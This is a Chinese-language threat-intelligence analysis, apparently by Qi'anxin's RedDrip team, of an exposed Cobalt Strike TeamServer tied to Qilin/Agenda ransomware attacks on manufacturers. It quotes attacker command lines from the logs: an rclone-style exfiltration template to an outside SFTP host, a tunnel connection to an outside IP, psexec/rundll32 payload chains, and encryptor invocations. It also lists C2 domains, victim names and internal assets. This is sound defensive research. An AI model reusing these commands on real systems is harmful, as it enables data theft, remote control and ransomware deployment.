赛博暗影:从暴露的CobaltStrike基础设施还原Qilin勒索团伙攻击链
原创
红雨滴团队
红雨滴团队
奇安信威胁情报中心
2026年6月5日 14:39
北京
在小说阅读器读本章
去阅读
一、概述
近期,奇安信威胁情报中心在日常样本跟踪分析过程中,发现一套高疑似勒索组织Qilin(Agenda)暴露在外的Cobalt Strike TeamServer工作目录。通过对该目录下TeamServer 配置、事件日志、Beacon 会话日志、目标资产库、凭据库、下载文件、键盘记录、截图和上传载荷等内容的综合研判,可以确认该批文件并非单纯的黑客工具样本,而是能够直接反映Qilin(Agenda)勒索组织真实攻击活动的运营资料。
相关日志显示,该平台至少自 2024 年 8 月起开始使用,并在 2025 年 6 月至 8 月期间持续针对多个受害环境开展控制、侦察、横向移动、凭据窃取、批量搜集和数据外传等攻击行为。从文件侧看,目录名、启动脚本和profile命名都指向同一套较新的Cobalt Strike体系:teamserver脚本以/root/cobalt410/server为工作路径,目录中保留TeamServerImage、listener、artifact和jquery-c2.4.10.profile。我们据此判断,攻击者使用的是未公布过的Cobalt Strike 4.10 TeamServer版本。
从已掌握证据看,Qilin(Agenda)相关操作人员不仅具备对多个受害网络进行长期控制和协同作业的能力,还在部分环境中完成了域级权限获取、共享目录和业务资料分类外传,以及勒索载荷投放。日志中已出现加密范围参数、勒索说明文件和疑似勒索模块批量投递执行链,表明该批泄露资料能够较为完整地揭示 Qilin 勒索组织从入侵、扩散、窃密到勒索实施的关键流程,对研判其攻击模式、受害偏好和战术特征具有较高参考价值。
其中Quaser/QMT活动簇是我们将其关联到Qilin(Agenda)勒索组织证据链最完整的一组。QMT即Quaser Machine Tools, Inc,接下来我们以Quaser/QMT指代该受害环境。本地日志中可以看到QMT域内资产、QMT.COM.TW\fin06、ERPDB/ERPDB2、quaser.exe加密参数、README-RECOVER勒索说明文件和中国台湾低值守时间窗口;公开泄露条目又将Quaser Machine Tools, Inc归入Qilin(Agenda)。两类证据闭合后,可以高置信将该活动簇归属于Qilin(Agenda)相关勒索攻击。
下图概括Quaser/QMT活动中从凭据收割、横向移动、数据外传到加密触发的关键链路。
图1:Quaser/QMT勒索攻击链
二、攻击基础设施复盘
(一)Listener与C2通信
从listeners.bin与日志任务可复原出至少三类通信路径。主力HTTP listener为HTTP-brobin,C2域名包括owa.brobinhood[.]com和www.brobinhood[.]com,监听IP为45.66.249[.]207:80。DNS listener为dns-brobin,目标域包括brobingood[.]com和ns1.brobingood[.]com。还使用SMB/命名管道45smb,pipe名为\\.\pipe\Winsock2\CatalogChangeListener-1a-0,用于内网横向后的peer-to-peer通信。
泄露目录中还可见TeamServer对外绑定地址0.0.0.0、服务端口50050、本地密钥库cobaltstrike.store以及启动相关文件。结合listener、events.log、weblog和Beacon会话记录,该目录属于真实运营期TeamServer,而不是单纯工具仓库或样本临时解包目录。
| 名称 | 类型 | 关键配置 | 说明 |
|---|---|---|---|
| HTTP-brobin | HTTP reverse beacon | owa.brobinhood[.]com:80、www.brobinhood[.]com、45.66.249[.]207:80 | 主力C2,日志中298条listener会话 |
| dns-brobin | DNS TXT reverse beacon | brobingood[.]com、ns1.brobingood[.]com | DNS模式或备用通信,48条listener会话 |
| 45smb | SMB pipe beacon | \\.\pipe\Winsock2\CatalogChangeListener-1a-0 | 内网横向后的SMB/pipe通信 |
Malleable C2 profile体现了典型伪装。jquery-c2.4.10.profile使用jQuery风格URI、IE/Trident User-Agent、jquery.com风格证书字段,spawnto指向dllhost.exe,开启sleep\_mask与stomppe。google.profile使用Google API/静态资源风格URI、.googleapis.com和.gstatic.com风格证书字段,pipe名称也使用Winsock2\CatalogChangeListener-##-0,spawnto指向WerFault.exe。
有意思的是,hosted file与download路径多次出现/root/cobalt410/server,说明攻击者并非只使用单个Beacon载荷,而是维护了一套Cobalt Strike 4.10 TeamServer作业目录。相比孤立样本,完整目录可以串起listener、operator、profile、artifact、hosted file、downloads和screenshots之间的关系。
(二)操作员来源与角色
日志中提取到6类主要操作员账号,呈现出明确分工:black是主操作员,掌控枚举、横向、加密器执行、清理和多目标推进;black2集中在Quaser/QMT早期和加密前关键阶段;gha偏数据外传,常与vmware.exe sync/copy同现;neon-lights偏工具投递、远控/隧道;black1/gh为后期接力账号。
| 操作员 | 来源IP | 命令数 | 活跃区间 | 角色画像 |
|---|---|---|---|---|
| black | 45.66.249[.]91,后切换到 179.43.189[.]17 | 2710 | 2025-06-05至08-02 | 主操作员;枚举、横向移动、下载、清理、外传均有参与 |
| black2 | 45.66.249[.]91 | 453 | 2025-06-05至06-20 | 早期阶段;端口扫描、BloodHound、AnyDesk和文件同步;Quaser/QMT阶段主操作员 |
| gha | 45.66.249[.]91,后切换到 179.43.189[.]17 | 293 | 2025-06-08至08-01 | 外传相关命令密集,常与 vmware.exe sync/copy 同现,外传角色最明显 |
| neon-lights/neon-light | 45.66.249[.]91,后切换到 179.43.189[.]17 | 383 | 2025-06-05至08-02 | 工具投递、隧道/远控、部分 SharpHound 操作 |
| black1/gh | 179.43.189[.]17 | 234 | 2025-07-01至08-02 | 后期操作账号,集中在 7 月底至 8 月初 |
| neo/neo1/neo2 | 内部测试网段 | 62 | 2024-08至2025-04 | 早期测试、Loader/EDR/注入验证痕迹明显 |
从日志看,black、black2、neon-lights最早在2025年6月5日从45.66.249.91接入;若只看可操作命令,Quaser/QMT活动簇最早由black2在2025年6月8日13:06:24 UTC发起psexec横向,gha同日15:41开始执行外传。2024年8月至2025年4月的neo/neo1/neo2记录集中在平台搭建、Loader/EDR对抗和投递调优阶段;2025年6月后,多个operator alias开始在同一TeamServer上分工推进多目标作业。
值得一提的是,2025年7月28日前,主要外部操作员来源为45.66.249[.]91;7月29日起,black、gha、neon-lights、black1、gh等账号陆续从179.43.189[.]17接入。推测此举是攻击基础设施迁移或代理出口切换,降低单点失效风险。
Doghe/Gouhe与主攻击账号关系
Doghe/Gouhe线索来自2025年2月24日DESKTOP-OO64GFF本地用户Doghe相关截图;另一组Javier Milei截图在2025年2月26日出现Loader.exe、SentinelOne、Process Explorer等工具画面。这组截图反映的是早期Loader/EDR对抗验证环境,不是2025年6月至8月主攻击阶段的TeamServer operator alias。
主攻击阶段的操作身份以TeamServer事件和Beacon命令日志得出。black、black2、gha、neon-lights等operator alias持续出现在实战日志中:black承担主控和横向推进,black2集中于Quaser/QMT早期与加密前关键阶段,gha偏数据外传,neon-lights偏工具投递和远控/隧道。
三、详细分析
(一)攻击时间线
日志覆盖2024年8月26日至2025年8月2日,其中主攻击活动高峰集中在2025年6月至8月。解析结果显示至少790条Beacon元数据记录、804个initial beacon、208个内网IP和4149条操作员输入命令。
| 阶段 | 日期 | 活动簇 | 关键行为 |
|---|---|---|---|
| A | 2024-08-26 至 2024-08-30 | 早期测试 | neo1/neo2,内部网段,低频命令,平台搭建与连通性验证 |
| B | 2025-02-24 至 2025-04-15 | Loader/EDR 验证 | 截图显示 Loader、SentinelOne、Process Explorer、NtdllUnhook.exe、PoolParty/APC 注入测试 |
| C | 2025-06-05 至 2025-06-13 | 目标集群 1:Quaser/QMT 制造环境 | 192.168.\* 网段端口扫描、BloodHound、Mimikatz、AnyDesk、固件/实验室/用户目录外传;2025-06-11 至 2025-06-12 投递 quaser.exe |
| D | 2025-06-19 至 2025-06-24 | 目标集群 2:GRC/GRControls 环境 | 域控、SQL、文件服务器、邮件/备份主机;财务、HR、项目、KeePass/OneNote/IT 文档下载;2025-06-23 投递 grc.exe/r.exe 并枚举 vCenter |
| E | 2025-06-25 至 2025-07-04 | 目标集群 3:QCT/Quanta 类环境 | DC/RDS/SAM/多地域 DC;HR 数据、MobaXterm 密码、sshpass、BloodHound;后续出现 VMware/ESXi 管理相关线索 |
| F | 2025-07-05 至 2025-07-08 | 远控与工具维持 | AnyDesk 安装并设置固定口令,rs64/rs64c 连接 83.147.17[.]59 多端口 |
| G | 2025-07-19 至 2025-07-20 | 大规模 beacon 波次 | 7 月 19 日出现 306 个 initial beacons,但命令很少,批量上线、投递验证或自动化会话扩展 |
| H | 2025-07-26 | 高强度域扩展 | 当日 639 条命令、45 个 psexec 任务、17 条外传命令,集中在 PRD/AVD/域控与文件服务器 |
| I | 2025-07-29 至 2025-08-02 | 后期新环境与外传 | 操作源切换到 179.43.189[.]17;RHP/RS/ZJSY 类环境,财务、法律、流程部门、HR、实验室数据外传 |
命令高峰日期如下表所示:
| 日期 | Initial beacon | 命令数 | psexec | inject | 外传 | 说明 |
|---|---|---|---|---|---|---|
| 2025-07-26 | 66 | 639 | 45 | 16 | 17 | PRD/AVD 域扩展高峰 |
| 2025-06-23 | 32 | 524 | 147 | 2 | 0 | GRC 类环境横向移动高峰 |
| 2025-06-20 | 28 | 430 | 50 | 11 | 34 | GRC 类环境收集与外传高峰 |
| 2025-06-30 | 14 | 303 | 16 | 1 | 7 | QCT/Quanta 类环境操作高峰 |
| 2025-06-11 | 13 | 116 | 14 | 3 | 1 | Quaser/QMT 加密前凭据收割与 quaser.exe 投递 |
| 2025-07-19 | 306 | 5 | 0 | 0 | 0 | 大规模上线但人工操作很少 |
| 2025-08-01 | 13 | 189 | 11 | 3 | 4 | 后期 RS/ZJSY/RHP 类环境继续扩展 |
(二)受害者画像
1. 多受害环境总览
结合events.log、targets.bin、downloads.log、beacon\_\*.log和credentials.bin,可以看到该TeamServer同时维护多套独立受害环境。不同环境共享同一控制层和操作员体系,攻击动作从域侦察、凭据收割、横向移动一直延伸到外传和勒索阶段。
| 受害环境 | 关键主机/资产 | 主要攻击动作 | 主要数据目标/证据 |
|---|---|---|---|
| QCT/ERP/制造管理 | ERPDB、ERPDB2、DC1、DC02、TWSAM01 | 域侦察、hashdump/logonpasswords、make\_token、jump psexec64、桌面目录同步 | QCT HR data、MobaXterm Stored Passwords、BloodHound.zip、PE02 Desktop |
| GRC/工业控制办公网 | GRCSQL、GRCFS1、GRCDC1、GRCMAIL01、GRCRDS、GRCBACKUP01 | 抓密、rs64/rs64c转发、socks、RDP/代理通信、密码库下载 | Admin rights PCs.xlsx、GRC.kdbx、Network.one、Security.one |
| Orchard Energy / RHP | RHP-DC01、RHP-SAP01、OEAPPLE01 | DNS区记录枚举、主机发现、端口扫描、网络画像 | dns.txt、orchardenergy.local记录、域内主机命名体系 |
| CNDC01中文制造域 | CNDC01、10.7.16.18及MES-\*系列主机 | 域控级logonpasswords/hashdump、用户登录来源追踪 | credentials.bin中大量host=10.7.16.18、realm=CNDC01、source=hashdump记录 |
| OVDI/VDI/共享盘 | OVDI-RDS、OVDI-STORAGE、WIN-FILE、大量OVDI6-\和NANBIN-OVDI\终端 | 大网段扫描、共享盘访问、按业务目录批量同步外传 | remote:legal、remote:fin、remote:shares、battery\_lab、process\_dept |
| 备份/灾备/关键基础设施 | PDMSERVER-DR、CERBACKUPAPP-RO、CERBACKUP-RO、WSUS、WIN-FILE | 服务探测、纳入目标库、共享盘/文件系统访问 | 备份资产、恢复链路、文件服务器资料,直接影响勒索恢复能力 |
从Beacon元数据和横向移动记录看,受害环境不是单一小型网络,而是多组企业域/网段。受害者侧呈现出明显筛选偏好:制造业、工业控制/工程、服务器/电子供应链、财务/ERP/SAP、域控/RDS/文件服务器/虚拟化平台等高勒索价值环境被反复触及。
2. Quaser/QMT:中国台湾地区制造业目标
Quaser/QMT在本文中指Quaser Machine Tools, Inc.及其相关受害环境。公开泄露聚合中该实体被列入Qilin泄露条目;本地Cobalt Strike日志中同一活动簇出现QMT域内主机、QMT.COM.TW\fin06、ERPDB/ERPDB2、quaser.exe和凌晨加密窗口。
这一活动簇的价值在于本地日志与公开泄露条目能够互相咬合:公开泄露聚合条目标注其为中国台湾地区制造业目标[1];本地日志中则能看到QMT/Quaser命名、Big5/繁体中文输出、中国台湾UTC+8时间差,以及ERP、FIN、RD、NAS/BAK等制造业资产命名。日志可见阶段,攻击者已经取得域和核心服务器访问,随后外传研发/实验室/固件/用户目录,再在192.168.5.140等终端上做凭据补强和交互式桌面查看,最后在中国台湾本地凌晨投递quaser.exe。
| 日志文件 | UTC时间 | 操作员 | Beacon释放信息 | 证据含义 |
|---|---|---|---|---|
| 250611/192.168.5.140/beacon\_1421462268.log | 07:25:54、07:26:00 | black2 | logonpasswords两次触发 | NB-084节点上进行凭据收割 |
| 250611/192.168.102.177/beacon\_680690148.log | 20:31:21至20:33:15 | black2 | quaser.exe --password 9DdWcpQfqkoZhCeNy3S9ZymKRK2wRf0C --paths \\192.168.8.142\c$ | 按管理共享路径触发加密 |
| 250611/192.168.8.142/beacon\_1917418634.log | 20:26:45至20:28:56 | black2 | SYSTEM \*会话,上传并运行quaser.exe --force | PC-0077上完成加密器投递 |
| 250611/192.168.1.2/beacon\_1372223650.log | 20:38:53至20:55:52 | black2 | 多条--paths指向192.168.8.127、192.168.7.231、192.168.5.164及c$/d$/e$/f$ | 批量路径级加密动作 |
| 250611/192.168.8.127/beacon\_597649952.log | 20:38:42 | black2 | is\_spreading\_vcenter: false | 存在vCenter/ESXi传播逻辑标记 |
3. GRC/GRControls:工业控制/企业制造类目标
GRC/GRControls画像显示受害者拥有完整企业IT架构:域控、SQL、文件服务器、邮件、备份、RDS,以及工厂/仓储/QA相关资产。2025年6月20日出现430条命令、34条外传、13个下载,偏拿数据和凭据;6月23日出现524条命令、147个psexec,偏横向扩散和加密执行。grc.exe/r.exe/ggrc.exe/grcc.exe与quaser.exe同为5254656字节,参数体系高度一致。
4. QCT/Quanta类环境:电子/服务器供应链
QCT命名资产表现出跨地域和工程/服务器基础设施特征。QCTUS-KPHAM、TWDC01、BJFS01、BJDC01、qctdrive、qctlab.tw等命名显示受害者业务数据和实验室资产价值高。MobaXterm和sshpass线索说明攻击者试图进入SSH、Linux或虚拟化管理链。
5. 后期多目标:金融/生产/SAP/RDS类环境
7月末至8月初出现AVD-BANK、PRD-DC-01/02、RHP-SAP01、RHP-DC01、OVDI-RDS、CNDC01、WSUS、WIN-FILE等目标。这些后期目标证明该TeamServer是多目标平台:同一批操作员和工具链可在不同企业、行业和网络中重复落地。
攻击对象的关联并非只来自组织名称。Beacon元数据、主机名、用户、进程和operator命令共同指向一批高价值企业资产。如下表所示:
| 活动簇 | 关键资产 | 可见权限/账号 | 攻击价值 |
|---|---|---|---|
| Quaser/QMT | ERPDB、ERPDB2、DC1、NB-084、PC-0077、NB-073、RD相关主机 | SYSTEM \*、fin06、black2触发logonpasswords | 制造业ERP、研发/固件、用户目录、备份/NAS数据 |
| GRC/GRControls | GRCSQL、GRCDC1、GRCFS1、GRCBACKUP01、GRCRDS | SYSTEM \、Administrator \、GRCONTROLS\administrator、SharePointAdmin、Domain Admins枚举 | 工业控制/企业制造环境,域控、SQL、备份和文件服务器齐全 |
| QCT/Quanta类环境 | DC02、RDS01、TWDC01、BJFS01、QCTUS-KPHAM | SYSTEM \*、qcttwadm、MobaXterm/sshpass线索 | 电子/服务器供应链、实验室、远程桌面和跨地域文件资产 |
| 后期多目标 | PRD-DC-01/02、AVD-BANK、RHP-SAP01、RHP-DC01、OVDI-RDS、CNDC01、WSUS、WIN-FILE | SYSTEM \、Administrator \、cYBERaRKadm、SAPServicePOP、RS\Administrator make\_token | 生产域控、SAP、银行命名资产、RDS/VDI、WSUS和文件服务器 |
(三)凭据获取与域枚举
至少292条命令命中凭据获取相关关键字,包含hashdump、logonpasswords、make\_token、MobaXterm密码文件下载等。典型证据包括:2025年6月11日black2在NB-084上两次触发logonpasswords;2025年7月5日black在DC01上下载MobaXterm Stored Passwords两次;2025年8月2日black在CNDC01上执行nltest /domain\_trusts和SharpHound。从权限层面看,多处Beacon元数据以SYSTEM \、Administrator \运行;GRC、RS等环境中还出现Domain Admins/Enterprise Admins枚举、make\_token以及SharePointAdmin、SAPServicePOP、qcttwadm、cYBERaRKadm等高价值账号或服务账号线索。
发现/侦察命令命中1647次。典型命令包括whoami、ipconfig /all、netstat、nltest /domain\_trusts、dsquery subnet、net group Domain admins /domain、portscan、SharpHound/BloodHound。日志中至少34条BloodHound/SharpHound相关事件,说明攻击者在每进入一个新域/新环境后,会快速建立域关系图,用于寻找管理员路径和横向移动目标。
(四)横向移动
横向移动/远程执行命令命中761次。psexec64是最核心的横向移动方式,日志中可见401条jump psexec输入和400余条psexec相关横向命令。典型模式为:jump psexec64
| 技术 | 日志表现 | 影响 |
|---|---|---|
| psexec/SCM | jump psexec64 → ADMIN$\<随机>.exe | 向远程ADMIN$投递随机EXE并以服务启动 |
| Process Injection | inject x64 HTTP-brobin | 注入到Explorer/winlogon/dllhost/WerFault等进程 |
| Spawn | spawn (x64) HTTP-brobin | 从现有Beacon派生新Beacon |
| Bind Pipe | \\.\pipe\Winsock2\CatalogChangeListener-1a-0 | SMB/命名管道peer-to-peer横向 |
| SOCKS代理 | socks到445失败/成功记录 | 代理横向访问和扫描 |
2025年7月26日在10.11.0.21、10.11.0.20上存在大量对10.67.10.\、10.30.10.\、10.10.11.\*的psexec和bind pipe任务,是整组日志中最强的横向扩展阶段。
(五)数据收集与外传
提取到187条外传命令。攻击者使用伪装路径下的同步工具执行外传。命令结构高度类似rclone:
C:\Windows\Temp\vmware.exe sync/copy --max-age <时间> \"<路径>\" remote:<目录名> -q --exclude=\.exe --exclude=\.msi --exclude=\.iso --exclude=\.pst --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --stats 10s --stats-one-line --progress
该模板说明攻击者不是无差别复制所有文件,而是倾向于排除可执行文件、安装包、ISO和大型邮件归档,优先收集更适合双重勒索的业务文档。远端目录按fin、hr、legal、lab、firmware、projects等主题分类。多处输出明确出现sftp://[email protected][.]59:222/...,因此83.147.17[.]59:222是高置信外传端点。
| 数据类型 | 日志线索 | 风险含义 |
|---|---|---|
| 财务 | remote:fin、工资、信用卡、审计 | 勒索谈判价值高,泄露压力大 |
| HR | remote:hr、remote:hrsecure | 个人隐私与合规压力 |
| 法务/投资者关系 | remote:legal、remote:invest\_relations | 监管和商业谈判风险 |
| 研发/工程 | remote:R&D、remote:firmware、remote:lab | 知识产权和供应链风险 |
| IT/身份 | Admin rights PCs.xlsx、KeePass、MobaXterm | 后续入侵和横向扩展风险 |
downloads.log记录了38个通过Cobalt Strike download拉回TeamServer的文件,包含多份BloodHound ZIP、凭据文本、KeePass数据库、HR/财务/安全相关Excel/Word/OneNote文件、MobaXterm Stored Passwords、PowerShell脚本等。
(六)远控与持久化
最明确的持久化/RMM证据来自10.108.3.111:攻击者上传AnyDesk.exe,执行安装到C:\Program Files (x86)\AnyDesk并--start-with-win,随后通过管道设置AnyDesk访问密码,启动AnyDesk并获取ID 1723638209。同一阶段还上传rs64.exe,执行rs64.exe -connect 83.147.17[.]59:8443,说明除Cobalt Strike外还尝试建立额外远控或隧道。
http80.dll被用于计划任务持久化。日志中出现任务名Indexer,动作是周期性执行rundll32.exe
(七)防御规避与安全产品对抗
截图和日志共同证明攻击者测试或使用了防御规避组件:
| 证据 | 结论 |
|---|---|
| DESKTOP-BIUFC6L桌面存在Loader.exe、beacon\_x64.bin、run.bin、obf.bin | 攻击者以自定义Loader执行Beacon shellcode |
| SentinelOne告警NtdllUnhook.exe、Loader.exe | 尝试unhook或绕过EDR,被SentinelOne标记/缓解 |
| SentinelOne告警PROCEXP152.SYS blocked suspicious driver | 尝试加载Process Explorer相关驱动,被阻断 |
| PoolPartyBof 3624 /home/kali/Desktop/stack.bin 4 | 使用PoolParty风格注入BOF |
| Profile中sleep\_mask=true、stomppe=true、userwx=false | Beacon内存隐蔽和进程伪装配置 |
(八)截图证据
以下截图来自server/screenshots目录,记录了攻击者测试桌面、EDR对抗和驱动加载阻断等关键场景。
图2:攻击者测试桌面,可见Cobalt Strike、x64dbg、Process Hacker、Visual Studio、BOF.NET、Loader等工具
截图显示同一桌面上存在Cobalt Strike窗口、x64dbg、Process Hacker、Visual Studio、BOF.NET、sleepmask项目、badger目录、beacon\_x64和Loader等工具/项目名。结合2025-02至2025-04的neo操作日志,该环境更像攻击者的Loader、Beacon与EDR对抗验证环境,而非普通受害者桌面。
图3:Loader.exe与SentinelOne检测界面
截图中命令行出现Loader.exe beacon\_x64.bin,目录中存在beacon、obf.bin、run.bin等文件;同时可见SentinelOne Agent。这与日志中的Loader.exe、hashdump、logonpasswords、截图和注入测试形成呼应。
图4:NtdllUnhook.exe被SentinelOne标记为可疑
SentinelOne界面显示NtdllUnhook.exe被判定为suspicious/malicious,Loader.exe风险被mitigated。该证据说明攻击者尝试进行EDR/用户态hook对抗。
图5:Process Explorer驱动加载被阻断
截图显示Process Explorer/Process Hacker相关驱动加载被拦截,PROCEXP152.SYS被标记为suspicious driver prevented from loading。这一证据佐证了攻击者尝试系统工具/驱动加载与EDR对抗的行为判断。
(九)样本分析
0x01 dns.dll与http80.dll
dns.dll与http80.dll是同一套x64 DLL加载框架的不同配置变体。两者.text代码区SHA256完全一致,仅.data区不同。
| 文件 | SHA256 | 大小 | 角色 |
|---|---|---|---|
| dns.dll | 54e3d79c853f723b8e6ece83f993b51770f8485a648a8a943bc1c8d6c21db01e | 827,904 | DNS命名artifact变体 |
| http80.dll | e16a038b93fe8bc8b394eb271f3c3db1ccee1efafd9623e6eeefef5a8695adc9 | 827,904 | HTTP命名artifact变体 |
其具体功能为命名管道处理、子进程创建与管道I/O、临时文件处理、令牌模拟、事件日志API、动态API解析和内存页属性处理等。
日志中rundll32.exe ... http80.dll,StartW会让StartW导出函数进入睡眠循环,同时DLL加载阶段的DllMain已创建StartAddress工作线程。该结构解释了两件日志现象:显式导出名用于维持rundll32.exe进程不退出,主函数由DLL加载阶段创建的线程进入。
0x02 ndp48.dll
ndp48.dll是一个伪装成OpenMP runtime兼容DLL的x64 PE。它导出大量\\_kmpc\\*名称,但关键导出函数为barrier。攻击者通过rundll32.exe c:\windows\temp\
dp48.dll,barrier触发。
barrier内部使用NtTestAlert()执行前线程APC注入。注入的内嵌PE使用反射加载器完成节名、导入名和.text解密。分析表明,ndp48.dll的内层payload是后渗透载荷,覆盖HTTP/WinINet、Winsock、命名管道、进程注入、令牌模拟、文件/进程枚举和命令执行。
从日志侧看,2025年7月26日至8月1日围绕ndp48.dll出现了集中式分发和远程执行。攻击者先上传DLL,再通过SMB复制到目标主机C:\Windows\Temp,之后使用psexec.exe以SYSTEM身份调用rundll32.exe c:\windows\temp\
dp48.dll,barrier执行。ndp48.dll其功能更符合后渗透载荷/加载器特征;该批量投放链与勒索收网阶段高度重合,并非加密器本体。
| 时间 | 跳板/日志 | 目标 | 动作 |
|---|---|---|---|
| 2025-07-26 20:34 UTC | 10.11.0.20 / beacon\_99107480.log | 本地会话 | 上传ndp48.dll,形成后续分发源 |
| 2025-07-26 21:19 UTC | 10.11.0.20 | 10.67.10.50 | copy ndp48.dll到C:\Windows\Temp后,psexec -s调用rundll32 ... barrier |
| 2025-07-26 21:41-22:24 UTC | 10.11.0.20 | 10.10.11.21、10.10.11.20、10.30.10.23 | 重复相同copy -> psexec -> rundll32执行链 |
| 2025-07-30 08:21-08:23 UTC | 10.0.0.4 / beacon\_1570893564.log | 10.183.52.153、10.183.52.188、10.183.52.192 | 在新子网复制并远程执行ndp48.dll |
| 2025-08-01 15:42 UTC | events.log | 外部托管 | black将/root/cobalt410/server/uploads/ndp48.dll托管为hxxp://45.66.249.207:8081/file.ext |
0x03 Quaser/QMT加密器投递
Quaser/QMT环境中,攻击者上传并运行quaser.exe。该文件在日志中的MD5为cecab124d689209f23b8bd35f01e4dc8,大小为5,254,656字节。加密触发集中在2025年6月11日20:31至20:55 UTC,对应中国台湾时间2025年6月12日04:31至04:55。命令形态包括victim-specific password参数、--paths、--force和管理共享路径。日志还出现is\_spreading\_vcenter标记,以及对902/9084/9401等虚拟化相关端口的关注。
| UTC时间 | 中国台湾时间UTC+8 | 行为 | 含义 |
|---|---|---|---|
| 07:25至07:26 | 15:25至15:26 | NB-084上两次logonpasswords | 凭据收割 |
| 07:28 | 15:28 | [email protected] initial beacon | 会话纳入HTTP C2 |
| 07:53 | 15:53 | vmware.exe sync外传桌面数据 | 数据收集 |
| 18:52至20:28 | 02:52至04:28 | 多次上传quaser.exe | 加密器投递 |
| 20:31至20:55 | 04:31至04:55 | quaser.exe路径级加密命令 | 凌晨破坏触发 |
从勒索特征看,quaser.exe具备明显的Agenda/Qilin式目标定制痕迹:一是命令行使用victim-specific password,且与--paths、--force组合;二是通过\\
0x04 Qilin/Agenda加密器特征
值得一提的是,QMT阶段的Beacon日志可以释放出一组直接指向勒索触发的关键命令。该组命令体现了Qilin/Agenda式目标定制加密器的几个特征:victim-specific password、路径级加密、ADMIN、低值守窗口触发,以及虚拟化传播字段。
| 特征 | 证据 | 含义 |
|---|---|---|
| 加密器文件 | quaser.exe,MD5 cecab124d689209f23b8bd35f01e4dc8,大小5,254,656字节 | 目标环境定制加密器。 |
| 关键参数 | --password 9DdWcpQfqkoZhCeNy3S9ZymKRK2wRf0C,与--paths、--force、--no-admin组合出现 | 加密器需要受害者特定口令或配置参数触发。 |
| 路径级触发 | --paths \\192.168.8.142\c$、\\192.168.8.127\c$、\\192.168.7.231\c$、\\192.168.5.164\d$、u:\ | 攻击者通过管理共享和盘符路径定向加密关键资产。 |
| 虚拟化线索 | is\_spreading\_vcenter: false;端口扫描关注902/9084/9401 | 样本或配置中存在vCenter/虚拟化传播逻辑。 |
| 触发窗口 | 2025-06-11 20:31-20:55 UTC,对应中国台湾时间2025-06-12 04:31-04:55 | 选择凌晨低时间执行破坏。 |
其中日志文件中的Beacon证据如下表所示:
| 日志文件 | UTC时间 | 关键命令/输出 | 说明 |
|---|---|---|---|
| logs/250611/192.168.102.177/beacon\_680690148.log | 20:31:21 | quaser.exe --password 9DdWcpQfqkoZhCeNy3S9ZymKRK2wRf0C --paths \\192.168.8.142\c$ | 从远端会话触发目标路径加密。 |
| logs/250611/192.168.8.142/beacon\_1917418634.log | 18:52-20:55 | 上传quaser.exe;C:\programdata\quaser.exe --password 9DdWcpQfqkoZhCeNy3S9ZymKRK2wRf0C --force | 本机投递并强制执行。 |
| logs/250611/192.168.8.127/beacon\_597649952.log | 20:xx | 运行quaser.exe后输出is\_spreading\_vcenter: false | 虚拟化传播开关或状态字段。 |
| logs/250611/192.168.1.2/beacon\_1372223650.log | 20:31-20:55 | --paths指向192.168.8.127、192.168.7.231、192.168.5.164、192.168.1.2、192.168.1.1及u:\ | 从ERPDB2相关节点向多路径扩展。 |
0x05 勒索结果与说明文件落地
日志证据进一步增强了勒索结果判断。2025年6月11日至12日,多个Beacon会话不仅出现quaser.exe执行参数,还记录了加密范围开关和勒索说明文件落地。该证据比单纯看到加密器命令更直接,说明受害主机已经进入加密与勒索说明投放阶段。
| 时间 | 主机/日志 | 证据 | 结论 |
|---|---|---|---|
| 2025-06-11 20:38:42 UTC | NB-073 / 192.168.8.127 / beacon\_597649952.log | encrypt\_local\_computer、encrypt\_mounted\_shares、encrypt\_domain\_area、encrypt\_network\_area均为true | 加密范围覆盖本机、挂载盘、域内和网络范围 |
| 2025-06-12 04:29:36 | PC-0077 / 192.168.8.142 | README-RECOVER-7erzmV2ZsE.txt | 勒索说明文件已在受害主机落地 |
| 2025-06-12 04:39:45 | NB-073 / 192.168.8.127 | README-RECOVER-7erzmV2ZsE.txt | 至少两台主机进入勒索说明投放阶段 |
| 2025-06-11 20:46:37 UTC | 192.168.5.164 / beacon\_1359713202.log | 四类encrypt\_\*配置均为true,随后出现README-RECOVER文件 | 勒索执行并非单机会话现象 |
四、溯源关联
(一)Qilin(Agenda)归因
该TeamServer可高置信关联Qilin(又名Agenda)勒索组织相关作业。Quaser/QMT事件是证据链最完整的一组:公开泄露条目、本地QMT域内资产、加密器命名、victim-specific password、--paths路径级加密、README-RECOVER勒索说明文件和vCenter/ESXi传播字段同时闭合。
| 证据维度 | 本地/公开证据 | 归因含义 |
|---|---|---|
| 公开泄露条目 | Ransomware.live与HookPhish均记录Quaser Machine Tools, Inc归入Qilin,地区为TW/Taiwan | 受害者名称与本地QMT/Quaser线索闭合 |
| 加密执行结果 | encrypt\_local\_computer、encrypt\_mounted\_shares、encrypt\_domain\_area、encrypt\_network\_area均为true;README-RECOVER-7erzmV2ZsE.txt落地 | 已经进入实际勒索执行阶段,而非仅有工具能力 |
| 加密器参数 | quaser.exe使用--password、--paths、--force、--no-admin,并输出is\_spreading\_vcenter | 与Agenda/Qilin公开技术细节高度吻合 |
| 虚拟化关注点 | 扫描902/9084/9401,日志出现is\_spreading\_vcenter,GRC阶段还出现vCenter相关枚举 | 与公开Agenda/Qilin面向vCenter/ESXi传播能力交叉 |
| 统一作业平台 | 45.66.249.207、HTTP-brobin、dns-brobin、SMB Beacon、operator alias和外传remote分类在多个环境复用 | 说明不是孤立单案,而是一套多目标勒索作业平台 |
| 后期投放链 | 2025-07-26至08-01出现ndp48.dll批量copy、psexec -s/-d、rundll32 barrier和外部托管 | 显示平台继续承担后期载荷投放和收网任务 |
Trend Micro在2024年3月报告中提到[2],Agenda/Qilin Rust变体支持--password、--paths、--spread、--no-network等参数,并可通过PsExec、SSH和vCenter/ESXi相关方式传播;HHS HC3的Qilin Threat Profile[5]也将Qilin描述为Agenda的后续品牌,具备RaaS、Cobalt Strike、RMM、PsExec/SSH、ESXi和双重勒索特征。综合以上线索,我们认为该泄露目录对应的是Qilin(Agenda)相关勒索攻击的实战运营基础设施,Quaser/QMT事件已达到高置信公开披露标准。
(二)攻击者工作时间
全量4149条输入命令的UTC小时分布显示,峰值集中在UTC 07:00至11:00,最高峰为UTC 10:00(462条)、UTC 08:00(415条)、UTC 07:00(402条)。将全部命令投影到候选时区后,UTC+3至UTC+5更符合人工工作班次,其中UTC+3最符合:
| 候选时区 | 本地09:00-20:00命令数 | 本地10:00-18:00命令数 | 本地00:00-05:00命令数 |
|---|---|---|---|
| UTC+3 | 3245 | 2766 | 283 |
